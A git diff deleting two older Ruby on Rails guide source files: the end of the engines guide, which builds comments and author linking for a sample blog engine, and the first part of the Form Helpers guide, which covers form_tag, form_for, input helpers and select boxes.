-This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model:
-
-<ruby>
-has_many :comments
-</ruby>
-
-Turning the model into this:
-
-<ruby>
-module Blorgh
-  class Post < ActiveRecord::Base
-    has_many :comments
-  end
-end
-</ruby>
-
-Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects.
-
-Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+:
-
-<erb>
-<%= render "blorgh/comments/form" %>
-</erb>
-
-Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial:
-
-<erb>
-<h3>New comment</h3>
-<%= form_for [@post, @post.comments.build] do |f| %>
-  <p>
-    <%= f.label :text %><br />
-    <%= f.text_area :text %>
-  </p>
-  <%= f.submit %>
-<% end %>
-</erb>
-
-This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines:
-
-<ruby>
-resources :posts do
-  resources :comments
-end
-</ruby>
-
-The route now will exist, but the controller that this route goes to does not. To create it, run this command:
-
-<shell>
-$ rails g controller comments
-</shell>
-
-This will generate the following things:
-
-<shell>
-create  app/controllers/blorgh/comments_controller.rb
-invoke  erb
- exist    app/views/blorgh/comments
-invoke  test_unit
-create    test/functional/blorgh/comments_controller_test.rb
-invoke  helper
-create    app/helpers/blorgh/comments_helper.rb
-invoke    test_unit
-create      test/unit/helpers/blorgh/comments_helper_test.rb
-invoke  assets
-invoke    js
-create      app/assets/javascripts/blorgh/comments.js
-invoke    css
-create      app/assets/stylesheets/blorgh/comments.css
-</shell>
-
-The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+:
-
-<ruby>
-def create
-  @post = Post.find(params[:post_id])
-  @comment = @post.comments.build(params[:comment])
-  flash[:notice] = "Comment has been created!"
-  redirect_to post_path
-end
-</ruby>
-
-This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
-
-<text>
-  Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
-    * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
-    * "/Users/ryan/Sites/side_projects/blorgh/app/views"
-</text>
-
-The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class. 
-
-This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it:
-
-<erb>
-<%= comment_counter + 1 %>. <%= comment.text %>
-</erb>
-
-The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
-
-That completes the comment function of the blogging engine. Now it's time to use it within an application.
-
-h3. Hooking into an application
-
-Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine.
-
-h4. Mounting the engine
-
-First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this:
-
-<shell>
-$ rails new unicorn
-</shell>
-
-Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
-
-<ruby>
-gem 'devise'
-</ruby>
-
-Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification:
-
-<ruby>
-gem 'blorgh', :path => "/path/to/blorgh"
-</ruby>
-
-If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this:
-
-<ruby>
-gem 'blorgh', :path => "vendor/engines/blorgh"
-</ruby>
-
-As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine.
-
-To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file:
-
-<ruby>
-mount Blorgh::Engine, :at => "blog"
-</ruby>
-
-This line will mount the engine at +blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails s+.
-
-NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
-
-h4. Engine setup
-
-The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
-
-<shell>
-$ rake blorgh:install:migrations
-</shell>
-
-This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
-
-<shell>
-Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
-Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
-</shell>
-
-The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
-
-To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
-
-h4. Using a class provided by the application
-
-When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense.
-
-Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called.
-
-To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command:
-
-<shell>
-rails g model user name:string
-</shell>
-
-The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use.
-
-Also to keep it simple, the posts form will have a new text field called +author_name_+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it.
-
-First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code:
-
-<erb>
-<div class="field">
-  <%= f.label :author_name %><br />
-  <%= f.text_field :author_name %>
-</div>
-</erb>
-
-The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it.
-
-To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being.
-
-<ruby>
-attr_accessor :author_name
-belongs_to :author, :class_name => "User"
-
-before_save :set_author
-
-private
-  def set_author
-    self.author = User.find_or_create_by_name(author_name)
-  end
-</ruby>
-
-By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table. 
-
-To generate this new column, run this command within the engine:
-
-<shell>
-$ rails g migration add_author_id_to_blorgh_posts author_id:integer 
-</shell>
-
-NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
-
-This migration will need to be run on the application. To do that, it must first be copied using this command:
-
-<shell>
-$ rake blorgh:install:migrations
-</shell>
-
-Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
-
-<shell>
-  NOTE: Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
-  NOTE: Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
-  Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
-</shell>
-
-Run this migration using this command:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine.
-
-Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+:
-
-<erb>
-<p>
-  <b>Author:</b>
-  <%= @post.author %>
-</p>
-</erb>
-
-WARNING: For posts created previously, this will break the +show+ page for them. We recommend deleting these posts and starting again, or manually assigning an author using +rails c+.
-
-By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly:
-
-<text>
-#<User:0x00000100ccb3b0>
-</text>
-
-This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application:
-
-<ruby>
-def to_s
-  name
-end
-</ruby>
-
-Now instead of the ugly Ruby object output the author's name will be displayed.
-
-h4. Configuring an engine
-
-This section covers firstly how you can make the +user_class+ setting of the Blorgh engine configurable, followed by general configuration tips for the engine.
-
-h5. Setting configuration settings in the application
-
-The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application.
-
-To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line:
-
-<ruby>
-mattr_accessor :user_class
-</ruby>
-
-This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+.
-
-The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this:
-
-<ruby>
-belongs_to :author, :class_name => Blorgh.user_class
-</ruby>
-
-The +set_author+ method also located in this class should also use this class:
-
-<ruby>
-self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name)
-</ruby>
-
-To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and makes references to the classes of the engine which may depend on this configuration setting existing.
-
-Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it:
-
-<ruby>
-Blorgh.user_class = "User"
-</ruby>
-
-WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on.
-
-Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is.
-
-There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created.
-
-h5. General engine configuration
-
-Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
-
-If you wish to use initializers (code that should run before the engine is loaded), the best place for them is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide.
-
-For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application.
-
-h3. Extending engine functionality
-
-This section looks at overriding or adding functionality to the views, controllers and models provided by an engine.
-
-h4. Overriding views
-
-When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory. 
-
-In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine.
-
-By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output.
-
-Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it:
-
-<erb>
-<h1>Posts</h1>
-<%= link_to "New Post", new_post_path %>
-<% @posts.each do |post| %>
-  <h2><%= post.title %></h2>
-  <small>By <%= post.author %></small>
-  <%= simple_format(post.text) %>
-  <hr>
-<% end %>
-</erb>
-
-Rather than looking like the default scaffold, the page will now look like this:
-
-!images/engines_post_override.png(Engine scaffold overriden)!
-
-h4. Controllers
-
-TODO: Explain how to extend a controller.
-IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide?
-
-h4. Models
-
-TODO: Explain how to extend models provided by an engine.
-
-h4. Routes
-
-Within the application, you may wish to link to some area within the engine. Due to the fact that the engine's routes are isolated (by the +isolate_namespace+ call within the +lib/blorgh/engine.rb+ file), you will need to prefix these routes with the engine name. This means rather than having something such as:
-
-<erb>
-<%= link_to "Blog posts", posts_path %>
-</erb>
-
-It needs to be written as:
-
-<erb>
-<%= link_to "Blog posts", blorgh.posts_path %>
-</erb>
-
-This allows for the engine _and_ the application to both have a +posts_path+ routing helper and to not interfere with each other. You may also reference another engine's routes from inside an engine using this same syntax.
-
-If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper:
-
-<erb>
-<%= link_to "Home", main_app.root_path %>
-</erb>
-
-TODO: Mention how to use assets within an engine?
-TODO: Mention how to depend on external gems, like RedCarpet.
diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile
deleted file mode 100644
index 821bb305f6..0000000000
--- a/railties/guides/source/form_helpers.textile
+++ /dev/null
@@ -1,798 +0,0 @@
-h2. Rails Form helpers
-
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
-
-In this guide you will:
-
-* Create search forms and similar kind of generic forms not representing any specific model in your application
-* Make model-centric forms for creation and editing of specific database records
-* Generate select boxes from multiple types of data
-* Understand the date and time helpers Rails provides
-* Learn what makes a file upload form different
-* Learn some cases of building forms to external resources
-* Find out where to look for complex forms
-
-endprologue.
-
-NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
-
-
-h3. Dealing with Basic Forms
-
-The most basic form helper is +form_tag+.
-
-<erb>
-<%= form_tag do %>
-  Form contents
-<% end %>
-</erb>
-
-When called without arguments like this, it creates a +&lt;form&gt;+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability):
-
-<html>
-<form accept-charset="UTF-8" action="/home/index" method="post">
-  <div style="margin:0;padding:0">
-    <input name="utf8" type="hidden" value="&#x2713;" />
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  Form contents
-</form>
-</html>
-
-Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#_cross_site_reference_forgery_csrf.
-
-NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity.
-
-h4. A Generic Search Form
-
-One of the most basic forms you see on the web is a search form. This form contains:
-
-# a form element with "GET" method,
-# a label for the input,
-# a text input element, and
-# a submit element.
-
-To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this:
-
-<erb>
-<%= form_tag("/search", :method => "get") do %>
-  <%= label_tag(:q, "Search for:") %>
-  <%= text_field_tag(:q) %>
-  <%= submit_tag("Search") %>
-<% end %>
-</erb>
-
-This will generate the following HTML:
-
-<html>
-<form accept-charset="UTF-8" action="/search" method="get">
-  <label for="q">Search for:</label>
-  <input id="q" name="q" type="text" />
-  <input name="commit" type="submit" value="Search" />
-</form>
-</html>
-
-TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-
-Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
-
-IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
-
-h4. Multiple Hashes in Form Helper Calls
-
-The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
-
-As with the +link_to+ helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
-
-<ruby>
-form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
-</ruby>
-
-Here, +method+ and +class+ are appended to the query string of the generated URL because you even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
-
-<ruby>
-form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
-</ruby>
-
-h4. Helpers for Generating Form Elements
-
-Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+.
-
-When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
-
-h5. Checkboxes
-
-Checkboxes are form controls that give the user a set of options they can enable or disable:
-
-<erb>
-<%= check_box_tag(:pet_dog) %>
-<%= label_tag(:pet_dog, "I own a dog") %>
-<%= check_box_tag(:pet_cat) %>
-<%= label_tag(:pet_cat, "I own a cat") %>
-</erb>
-
-This generates the following:
-
-<html>
-<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
-<label for="pet_dog">I own a dog</label>
-<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
-<label for="pet_cat">I own a cat</label>
-</html>
-
-The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked.
-
-h5. Radio Buttons
-
-Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
-
-<erb>
-<%= radio_button_tag(:age, "child") %>
-<%= label_tag(:age_child, "I am younger than 21") %>
-<%= radio_button_tag(:age, "adult") %>
-<%= label_tag(:age_adult, "I'm over 21") %>
-</erb>
-
-Output:
-
-<html>
-<input id="age_child" name="age" type="radio" value="child" />
-<label for="age_child">I am younger than 21</label>
-<input id="age_adult" name="age" type="radio" value="adult" />
-<label for="age_adult">I'm over 21</label>
-</html>
-
-As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult".
-
-NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region.
-
-h4. Other Helpers of Interest
-
-Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, URL fields and email fields:
-
-<erb>
-<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
-<%= password_field_tag(:password) %>
-<%= hidden_field_tag(:parent_id, "5") %>
-<%= search_field(:user, :name) %>
-<%= telephone_field(:user, :phone) %>
-<%= url_field(:user, :homepage) %>
-<%= email_field(:user, :address) %>
-</erb>
-
-Output:
-
-<html>
-<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
-<input id="password" name="password" type="password" />
-<input id="parent_id" name="parent_id" type="hidden" value="5" />
-<input id="user_name" name="user[name]" size="30" type="search" />
-<input id="user_phone" name="user[phone]" size="30" type="tel" />
-<input id="user_homepage" size="30" name="user[homepage]" type="url" />
-<input id="user_address" size="30" name="user[address]" type="email" />
-</html>
-
-Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
-
-IMPORTANT: The search, telephone, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features.
-
-TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging.
-
-h3. Dealing with Model Objects
-
-h4. Model Object Helpers
-
-A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
-
-For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
-
-<erb>
-<%= text_field(:person, :name) %>
-</erb>
-
-will produce output similar to
-
-<erb>
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</erb>
-
-Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
-
-WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
-
-Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view guide.
-
-h4. Binding a Form to an Object
-
-While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
-
-Assume we have a controller for dealing with articles +app/controllers/articles_controller.rb+:
-
-<ruby>
-def new
-  @article = Article.new
-end
-</ruby>
-
-The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks like this:
-
-<erb>
-<%= form_for @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
-  <%= f.text_field :title %>
-  <%= f.text_area :body, :size => "60x12" %>
-  <%= f.submit "Create" %>
-<% end %>
-</erb>
-
-There are a few things to note here:
-
-# +@article+ is the actual object being edited.
-# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash.
-# The +form_for+ method yields a *form builder* object (the +f+ variable).
-# Methods to create form controls are called *on* the form builder object +f+
-
-The resulting HTML is:
-
-<html>
-<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
-  <input id="article_title" name="article[title]" size="30" type="text" />
-  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
-  <input name="commit" type="submit" value="Create" />
-</form>
-</html>
-
-The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
-
-The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
-
-You can create a similar binding without actually creating +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
-
-<erb>
-<%= form_for @person, :url => { :action => "create" } do |person_form| %>
-  <%= person_form.text_field :name %>
-  <%= fields_for @person.contact_detail do |contact_details_form| %>
-    <%= contact_details_form.text_field :phone_number %>
-  <% end %>
-<% end %>
-</erb>
-
-which produces the following output:
-
-<html>
-<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
-</form>
-</html>
-
-The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
-
-h4. Relying on Record Identification
-
-The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*:
-
-<ruby>
-resources :articles
-</ruby>
-
-TIP: Declaring a resource has a number of side-affects. See "Rails Routing From the Outside In":routing.html#resource-routing-the-rails-default for more information on setting up and using resources.
-
-When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
-
-<ruby>
-## Creating a new article
-# long-style:
-form_for(@article, :url => articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(@article, :url => article_path(@article), :html => { :method => "put" })
-# short-style:
-form_for(@article)
-</ruby>
-
-Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
-
-Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
-
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
-
-h5. Dealing with Namespaces
-
-If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
-
-<ruby>
-form_for [:admin, @article]
-</ruby>
-
-will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
-
-<ruby>
-form_for [:admin, :management, @article]
-</ruby>
-
-For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html.
-
-
-h4. How do forms with PUT or DELETE methods work?
-
-The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
-
-Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
-
-<ruby>
-form_tag(search_path, :method => "put")
-</ruby>
-
-output:
-
-<html>
-<form accept-charset="UTF-8" action="/search" method="post">
-  <div style="margin:0;padding:0">
-    <input name="_method" type="hidden" value="put" />
-    <input name="utf8" type="hidden" value="&#x2713;" />
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  ...
-</html>
-
-When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).
-
-h3. Making Select Boxes with Ease
-
-Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
-
-Here is what the markup might look like:
-
-<html>
-<select name="city_id" id="city_id">
-  <option value="1">Lisbon</option>
-  <option value="2">Madrid</option>
-  ...
-  <option value="12">Berlin</option>
-</select>
-</html>
-
-Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
-
-h4. The Select and Option Tags
-
-The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
-
-<erb>
-<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
-</erb>
-
-This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
-
-<erb>
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2">Madrid</option>
-...
-</erb>
-
-The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
-
-Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
-
-<erb>
-<%= select_tag(:city_id, options_for_select(...)) %>
-</erb>
-
-+options_for_select+ allows you to pre-select an option by passing its value.
-
-<erb>
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2" selected="selected">Madrid</option>
-...
-</erb>
-
-Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
-
